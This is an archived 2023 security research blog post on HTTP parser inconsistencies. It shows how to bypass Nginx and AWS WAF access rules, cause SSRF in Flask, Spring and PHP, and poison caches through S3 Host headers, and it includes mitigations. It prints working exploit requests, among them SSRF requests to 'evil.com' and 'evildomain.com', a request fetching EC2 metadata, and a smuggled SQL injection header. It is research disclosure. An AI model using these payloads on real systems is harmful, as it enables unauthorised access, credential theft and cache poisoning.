

(Research) Exploiting HTTP Parsers Inconsistencies

(Research) Exploiting HTTP Parsers Inconsistencies - Rafael da Costa Santos, Rafa's Security Researches.

- Published: 2023-06-17
- Original: <<https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies>>
- Current location: <<https://blog.bugport.net/exploiting-http-parsers-inconsistencies>>
- Preserved from: <https://blog.bugport.net/exploiting-http-parsers-inconsistencies> (browser) on 2026-08-09
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Command Palette

Search for a command to run...



Rafael da Costa Santos

I'm Rafael, a Full-Time Bug Bounty Hunter and Security Researcher.

The HTTP protocol plays a vital role in the seamless functioning of web applications, however, the implementation of HTTP parsers across different technologies can introduce subtle discrepancies, leading to potential security loopholes.

In this research, my focus revolves around the discovery of inconsistencies within HTTP parsers across various web technologies, including load balancers, reverse proxies, web servers, and caching servers. By investigating these disparities, I aim to shed light on potential new vulnerabilities that involve HTTP Desync attacks.

It was my first security research, I started on this journey in December 2021 and concluded in April 2022. I tried to be creative in finding new attack vectors due to incorrect HTTP parsing. In this post, I will share the final results of this study.

Pathname Manipulation: Bypassing Reverse Proxies and Load Balancers Security Rules

This section of the research focuses on the exploitable vulnerabilities arising from pathname manipulation in web servers, principally about the use of `trim()` or `strip()` functions. By exploiting these techniques, attackers can circumvent security rules specific to certain paths in reverse proxies and load balancers, posing a significant threat to web application security.

In this section, we delve into the intricacies of how web servers process and manipulate pathnames, investigating the impact of the removal of certain characters, which can lead to unintended behaviors.

Nginx ACL Rules

Nginx is a powerful web server and reverse proxy which allows developers to apply security rules on HTTP requests. This section explores security threads of the capabilities of Nginx in rewriting or blocking HTTP messages, with a primary focus on rules triggered by specific strings or regular expressions found within the HTTP pathname section.

In Nginx, the "location" rule enables developers to define specific directives and behaviors based on the requested URL. This rule acts as a key component in routing and processing incoming HTTP requests, allowing control over how different URLs are handled.

```
location = /admin {  
    deny all;  
}  
  
location = /admin/ {  
    deny all;  
}
```

The above Nginx rule aims to deny every access to the `/admin` endpoint, so if a user tries to access this endpoint, Nginx will return `403` and will not pass the HTTP message to the web server.

To prevent security issues on URI-based rules, Nginx performs path normalization before checking them. Path normalization in Nginx refers to the process of transforming and standardizing requested URLs to a consistent and canonical format before handling them. It involves removing redundant or unnecessary elements from the URL path, such as extra slashes, dot segments, processing path traversal, and URL-encoded characters, to ensure uniformity and proper routing within the web server.

Trim Inconsistencies

Before we proceed, we need to understand what the `trim()` function does in different languages.

Different languages remove different characters when the correspondent function for `trim()` is called. Each server will normalize the pathname based on its `trim()`, removing different characters. But Nginx which is written in C, does not cover all characters for all languages.

E.g.: Python removes the character `\x85` with `strip()`, and JavaScript does not with `trim()`.

!

!

If an HTTP message is parsed using the `trim()` function in different languages, an HTTP Desync attack can occur.

Bypassing Nginx ACL Rules With Node.js

Let's consider the following Nginx ACL rule and Node.js API source code using Express:

```
location = /admin {
    deny all;
}
```

```
location = /admin/ {
    deny all;
}
```

```
app.get('/admin', (req, res) => {
    return res.send('ADMIN');
});
```

Following the `trim()` logic, Node.js "ignores" the characters `\x09`, `\xa0`, and `\x0c` from the pathname, but Nginx considers them as part of the URL:

!

-

First, Nginx receives the HTTP request and performs path normalization on the pathname;

-

As Nginx includes the character `\xa0` as part of the pathname, the ACL rule for the `/admin` URI will not be triggered. Consequently, Nginx will forward the HTTP message to the backend;

-

When the URI `/admin\x0a` is received by the Node.js server, the character `\xa0` will be removed, allowing successful retrieval of the `/admin` endpoint.

Below is a graphical demonstration of what happens with the HTTP request:

!

To gain a clearer understanding of how this vulnerability can be exploited, I recommend watching the accompanying proof of concept video below:

<https://www.youtube.com/watch?v=sgs3s5oTfz8>

Below is a table correlating Nginx versions with characters that can potentially lead to bypassing URI ACL rules when using Node.js as the backend:

Nginx Version	Node.js Bypass Characters		1.22.0	\xA0		1.21.6	\xA0		1.20.2	
\xA0 , \x09 , \x0C		1.18.0	\xA0 , \x09 , \x0C		1.16.1	\xA0 , \x09 , \x0C				

Bypassing Nginx ACL Rules With Flask

Flask removes the characters `\x85` , `\xA0` , `\x1F` , `\x1E` , `\x1D` , `\x1C` , `\x0C` , `\x0B` , and `\x09` from the URL path, but NGINX doesn't.

Take the following nginx configuration/API source code as a reference:

```
location = /admin {
    deny all;
}
```

```
location = /admin/ {
    deny all;
}
```

```
@app.route('/admin', methods = ['GET'])
def admin():
    data = {"url":request.url, "admin":"True"}

    return Response(str(data), mimetype="application/json")
```

As you can see below, it's possible to circumvent the ACL protection by adding the character `\x85` at the end of the pathname:

!

Nginx Version	Flask Bypass Characters
1.22.0	<code>\x85</code> , <code>\xA0</code>
1.21.6	<code>\x85</code> , <code>\xA0</code>
1.20.2	<code>\x85</code> , <code>\xA0</code> , <code>\x1F</code> , <code>\x1E</code> , <code>\x1D</code> , <code>\x1C</code> , <code>\x0C</code> , <code>\x0B</code>
1.18.0	<code>\x85</code> , <code>\xA0</code> , <code>\x1F</code> , <code>\x1E</code> , <code>\x1D</code> , <code>\x1C</code> , <code>\x0C</code> , <code>\x0B</code>
1.16.1	<code>\x85</code> , <code>\xA0</code> , <code>\x1F</code> , <code>\x1E</code> , <code>\x1D</code> , <code>\x1C</code> , <code>\x0C</code> , <code>\x0B</code>

Bypassing Nginx ACL Rules With Spring Boot

Spring removes the characters `\x09` and `\x3B` from the URL path, but Nginx doesn't.

Take the following Nginx configuration/API source code as a reference:

```
location = /admin {
    deny all;
}

location = /admin/ {
    deny all;
}
```

```
@GetMapping("/admin")
public String admin() {
    return "Greetings from Spring Boot!";
}
```

Below, you will find a demonstration of how ACL protection can be circumvented by adding the character `\x09` or `\t` at the end of the pathname:

!

Nginx Version	Spring Boot Bypass Characters
1.22.0	<code>;</code>
1.21.6	<code>;</code>
1.20.2	<code>;</code>
1.18.0	<code>\x09</code> , <code>;</code>
1.16.1	<code>\x09</code> , <code>;</code>

Bypassing Nginx ACL Rules With PHP-FPM Integration

PHP-FPM (FastCGI Process Manager) is a robust and high-performance PHP FastCGI implementation that works seamlessly with Nginx. It serves as a standalone server for handling PHP requests, improving the speed and efficiency of PHP execution. Nginx acts as a reverse proxy, receiving incoming HTTP requests and passing them to PHP-FPM for processing.

Let's consider the following Nginx FPM configuration:

```
location = /admin.php {
    deny all;
}

location ~ \.php$ {
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```

When two `.php` files are in the same pathname of the HTTP request, PHP will match the first one, ignoring everything after the slash. Since the Nginx is configured to block requests to the specific endpoint `/admin.php`, it's possible to access the `admin.php` file by doing the following request:

!

Below is a graphical example of how the applications interpret the HTTP request:

!

This technique only works if the second PHP file, in this case, `index.php`, exists in the server structure. Take the following server code/structure as a reference:

!

These behaviors were reported to the Nginx security team in 2022, and they responded by saying that they don't have responsibility for it.

Since the research concluded in April 2022, newer versions of Nginx were not specifically tested. However, it is highly likely that the findings and vulnerabilities identified in the research are reproducible in the latest version of Nginx as well.

How to prevent

To prevent these issues, you must use the `~` expression Instead of the `=` expression on Nginx ACL rules, for example:

```
location ~* ^/admin {
    deny all;
}
```

The `~` expression matches the string `/admin` in any part of the pathname, in other words, if a user sent a request to `/admin1337`, the request will also be blocked.

Bypassing AWS WAF ACL

How AWS WAF ACLs Work

AWS ACL (Access Control List) rules are a component of load balancers, providing control over incoming and outgoing network traffic. These rules define access permissions based on specified conditions, allowing or denying requests to and from the load balancer.

You can configure the AWS Web Application Firewall (WAF) ACL to examine and validate HTTP headers. AWS WAF ACL rules allow you to define conditions based on specific header attributes or values, enabling you to control and filter incoming requests.

Header ACL example:

!

In the above example, if a request contains a SQL Injection payload in the `X-Query` header, AWS WAF recognizes the SQL Injection attempt and responds with a `403 Forbidden` HTTP status code. This prevents the request from being forwarded to the backend, effectively blocking any potential exploitation of the application's database through SQL Injection attacks.

!

As you can see, the above request carried the payload `' or '1'='1' --` at the `X-Query` header, and then was blocked by the AWS WAF.

Bypassing AWS WAF ACL With Line Folding

Web servers like Node.js, Flask and many others sometimes encounter a phenomenon known as "line folding." Line folding refers to the practice of splitting long header values using the characters `\x09` (tab) and `\x20` (space) into multiple lines for readability. However, this behavior can lead to compatibility issues and potential security vulnerabilities.

For example, the header `1337: Value\r\n\t1337` in the following request will be interpreted as `1337: Value\t1337` in the Node.js server:

```
GET / HTTP/1.1
Host: target.com
1337: Value
    1337
Connection: close
```

Knowing it, I discovered that it's possible to bypass the AWS WAF by using line folding behavior.

Using the same AWS WAF that protects the `X-Query` from SQL Injection payloads, the following HTTP request was used to confirm that the Node.js server received the payload `' or '1'='1' --` in the `X-Query` header.

Below is a graphical example of how the applications interpret the HTTP request header with line folding:

!

For the exploitation scenario, let's take the following Node.js source code as a reference. It will return the requested headers as a json:

```
app.get('/*', (req, res) => {  
  res.send(req.headers);  
});
```

Below is an example of an exploitation request:

```
GET / HTTP/1.1\r\n  
Host: target.com\r\n  
X-Query: Value\r\n  
't' or '1'='1' -- \r\n  
Connection: close\r\n  
\r\n
```

!

In the provided screenshot, it is evident that the Node.js application interpreted the characters `' or '1'='1' --` as the value for the `X-Query` header. However, the AWS WAF treated it as a header name instead.

This bypass technique was reported to the AWS security team and fixed in 2022.

Incorrect Path Parsing Leads to Server-Side Request Forgery

In the previous sections, I provided reasons to be cautious about trusting reverse proxies. However, in this section, I will demonstrate why utilizing a reverse proxy can be advantageous...

In this section, I will leverage an incorrect pathname interpretation to exploit a Server-Side Request Forgery vulnerability in popular servers and frameworks such as Spring Boot, Flask, and PHP.

Normally, a valid HTTP pathname starts with `/` or `http(s)://domain/`, but the majority of the popular WEB servers do not verify it correctly, which can lead to a security risk.

SSRF on Flask Through Incorrect Pathname Interpretation

Flask is a lightweight web framework for Python, and it offers a straightforward and flexible approach to web development.

After conducting tests on Flask's pathname parsing, I discovered that it accepts certain characters that it shouldn't. As an example, the following HTTP request, which should be considered invalid, is surprisingly treated as valid by the framework, but the server responds `404 Not Found`:

```
GET @/ HTTP/1.1  
Host: target.com  
Connection: close
```


While investigating how this behavior can potentially result in a security vulnerability, I came across a helpful [Medium blog post](#) that demonstrates the creation of a proxy using the Flask framework. Below is an example of the code provided in the blog post:

```
from flask import Flask
from requests import get

app = Flask(__main__)
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
    return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)
```

My first thought was: *"What if the developer forgets to add the last slash in the `SITE_NAME` variable?"*. And yes, it can lead to an SSRF.

Since Flask also allows any ASCII character after the `@`, it's possible to fetch an arbitrary domain after concatenating the malicious pathname and the destination server.

Please consider the following source code as a reference for the exploitation scenario:

```
from flask import Flask
from requests import get

app = Flask(__main__)
SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''})
@app.route('/<@:path:path>')

def proxy(path):
    return get(f'{SITE_NAME}{path}').content

if __name__ == "__main__":
    app.run(threaded=False)
```

Presented below is an example of an exploitation request:

```
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
```

In the following example, I was able to fetch my EC2 metadata:

!

SSRF on Spring Boot Through Incorrect Pathname Interpretation

Upon discovering the presence of an SSRF vulnerability in Flask, I delved into exploring how this behavior could be exploited in other frameworks. As my research progressed, it became apparent that Spring Boot is also susceptible to this particular issue.

Authentication bypasses, ACL bypasses, and path traversal are known vectors when the application parses Matrix parameters. Servlet matrix parameters are a feature introduced in the Servlet specification that allows you to extract and handle additional data present in the URL path. Unlike query parameters that are separated by the `?` character, matrix parameters are separated by the `;` character within the URL.

During the research, I discovered that the Spring framework accepts the matrix parameter separator character `;` before the first slash of the HTTP pathname:

```
GET ;1337/api/v1/me HTTP/1.1
Host: target.com
Connection: close
```

If a developer implements a server-side request that utilizes the complete pathname of the request to fetch an endpoint, it can lead to the emergence of Server-Side Request Forgery (SSRF).

Please consider the following source code as a reference for the exploitation scenario:

!

The code snippet above utilizes the `HttpServletRequest` API to retrieve the requested URL through the `getRequestURI()` function. Subsequently, it concatenates the requested URI with the destination endpoint `http://ifconfig.me`.

Considering that Spring permits any character following the Matrix parameter separator, becoming possible to use the `@` character to fetch an arbitrary endpoint as well.

Below is an example of the exploit request:

```
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```

!

PHP Built-in Web Server Case Study - SSRF Through Incorrect Pathname Interpretation

The PHP Built-in web server suffers from the same vulnerability. Still, the Built-in server is not used in production involvements, so I decided to present this behavior as a case study that is unlikely to happen in real-world applications.

Surprisingly, PHP allows the asterisk `*` character before the first slash in the pathname, and between the asterisk and the first slash, almost all ASCII characters are accepted as valid HTTP request.

However, there are two limitations that arise with PHP:

-

This technique can only be used for the root pathname `/` and cannot be applied to other endpoints, in other words, the vulnerable code must be in the `index.php` file;

-

Dots `.` are not allowed before the first slash, which restricts the inclusion of arbitrary IPs and domains, to circumvent it, the payload must include a dotless-hex encoded IP address of the malicious domain.

Let's consider the following PHP code for this exploitation scenario:

```
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];

$proxy_site = $site.$current_uri;
var_dump($proxy_site);

echo "\n\n";

$response = file_get_contents($proxy_site);
var_dump($response);
?>
```

The provided code retrieves the HTTP request pathname using `$_SERVER['REQUEST_URI']` and concatenates it with the destination domain.

For performing IP address dotless-hex encoding, you can utilize the tool [ip-encoder.py](https://github.com/0x09fea9fe/ip-encoder).

The resulting payload used for exploiting which fetches the EC2 metadata is as follows:

```
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
```

In the following proof of concept, I successfully retrieved my EC2 metadata:

!

How to prevent

-

It is essential to consistently employ complete URL domains when concatenating them with user input. For instance, ensure that a trailing slash is added after the domain name, such as

`http://ifconfig.me/` .

-

Utilizing a reverse proxy that effectively handles HTTP requests. The vulnerabilities mentioned are typically only possible if the framework is used without any additional reverse proxy that verifies the HTTP pathname. In other words, incorporating a reverse proxy can significantly enhance the security of the web application.

HTTP Desync Cache Poisoning Attacks

Inconsistencies exist among servers and reverse proxies when it comes to removing invalid invisible characters from header names before interpreting them. This inconsistency can lead to notable vulnerabilities, such as HTTP Request Smuggling. But in this section, I will discuss a vulnerability and technique that I discovered during my research that combines Desync attacks with Cache Poisoning, which affects cache servers when integrated with AWS S3 buckets.

But before we continue, we must understand some functionalities of cache servers.

Cache Keys

Cache keys are unique identifiers used by cache servers to store and retrieve cached data, they serve as references or labels that allow access to cached content.

The most frequently used cache key is typically derived from the URL's pathname. When a user sends a request to a server that utilizes caching, the cache server employs the requested URL to locate the corresponding cached response to serve back to the user.

!

In addition to the URL's pathname, another default cache key is the Host header. Let's consider a scenario where a cached JavaScript file is located at `https://target.com/static/main.js` . When a user sends an HTTP request to this cached URL, the cache server will return the stored response without having to forward the request to the backend server.

However, if a user sends an HTTP request to the same endpoint but modifies the Host header to `1337.target.com` , the cache server will attempt to retrieve the backend of the corresponding response for the `/static/main.js` URL using the `1337.target.com` host header. Subsequently, it will generate a stored response specifically for that particular HTTP message.

S3 HTTP Desync Cache Poisoning Issue

In this section, I will demonstrate an HTTP Desync vulnerability that can result in Cache Poisoning, impacting principally AWS S3 buckets.

In the Amazon AWS S3 buckets, the Host header plays a crucial role in routing requests to the correct bucket and enabling proper access to the stored content. When interacting with an S3 bucket, the Host header helps direct requests to the appropriate endpoint within the AWS infrastructure.

When a request is made to an S3 bucket, the AWS infrastructure inspects the Host header to determine the target bucket. So if a user sends an HTTP request to the domain `your.s3.amazonaws.com` but changes the host header to `my.s3.amazonaws.com`, internally, AWS will "ignore" the domain name, fetching the bucket specified in the host header only. This is a common practice on Cloud services.

The Vulnerability

The interpretation of host headers for S3 buckets involves two key aspects:

-

When multiple host headers are included in the request, only the first one will be taken, and any additional headers will be ignored.

-

The following bytes are ignored if present in the header name: `\x1f`, `\x1d`, `\x0c`, `\x1e`, `\x1c`, `\x0b`;

The vulnerability arises from an inconsistency in the host header interpretation. If the cache server mistakenly includes the ignored bytes as part of the header name, treating it as an invalid host header, while S3 interprets it as a valid host header, it becomes possible to cache arbitrary bucket responses on vulnerable websites.

This behavior allows caching arbitrary S3 bucket content in vulnerable websites.

Consider the following exploitation request:

!

```
GET / HTTP/1.1
[\x1d]Host: evilbucket.com
Host: example.bucket.com
Connection: close
```

-

First, the cache server examines the header `\x1dHost: evilbucket.com` and treats it like any other unkeyed header;

-

Subsequently, the cache server will correctly interpret the `example.bucket.com` header as a valid host header, resulting in the final cache response being associated with this host value.

-

Upon reaching the S3 bucket, the header `\x1dHost: evilbucket.com` will be mistakenly interpreted as a valid host header, while the intended `Host: example.bucket.com` header will be ignored. This misinterpretation by AWS will lead to the fetching of the malicious header's associated bucket.

The final result is a complete cache poisoning of the page with arbitrary content.

The proof of concept video demonstrates the exploitation of this vulnerability in an outdated Varnish cache server. It is important to note that newer versions of Varnish are not susceptible to this vulnerability:

<https://www.youtube.com/watch?v=dnf6Zi5eNW8>

In addition to Varnish, other cache servers such as Akamai were also vulnerable to this issue. However, it's important to note that this vulnerability has been addressed and cannot be reproduced on any AWS service today.

Conclusion

In conclusion, this research delved into the realm of security vulnerabilities in web applications, specifically focusing on HTTP parsers and the implications they can have on overall security. By exploring inconsistencies in HTTP parsers across various technologies, such as load balancers, reverse proxies, web servers, and caching servers, I unveiled potential avenues for exploitation.

I demonstrated how certain behaviors, like path normalization and the acceptance of special characters, can lead to bypassing security rules and even opening the door to Server-Side Request Forgery (SSRF) and Cache Poisoning vulnerabilities.

Moreover, I highlighted the significance of utilizing reverse proxies that effectively validate and sanitize HTTP requests. Implementing a robust reverse proxy can significantly bolster the security posture of a web application by intercepting and filtering malicious requests before they reach the backend servers.

[# http# cybersecurity-1# research# web# desync-attacks](#)

Comments (6)

[Join the discussion](#)

A

[Abhishek Praveen](#) 2y ago

Very detailed and insightful research explained in simple language. Thanks for this !

M

[Matin Nouriyani](#) 2y ago

Very good

D

[Dmitry Plyasovskikh](#) 2y ago

Amazing! Thank you for this article.

1

R

[Rafael da Costa Santos](#) 2y ago

Thanks!

10

D

[Daniela Passos](#) 2y ago

Great article, Rafa!

11

P

[Peter Potrowl](#) 2y ago

Hi! Awesome! Unfortunately, you don't mention Apache... Does it have the same kind of behavior? Thanks!

4

R

[Rafael da Costa Santos](#) 2y ago

Hi, thanks!

I didn't mention Apache because I wanted to focus on findings that have a security impact, and it's not prone to any related behavior.

Regarding parsing the HTTP protocol, my tests showed that Apache is the secured solution.

3

S

[Salawu Ahmed](#) 2y ago

Great intro

3

More from this blog

[Nov 17, 2025](#) 4 min read

Aug 17, 20239 min read



R

Rafa's Security Researches

3 posts

My Security Research Portfolio

Archived from <https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies>. Rendered offline from the local Markdown copy.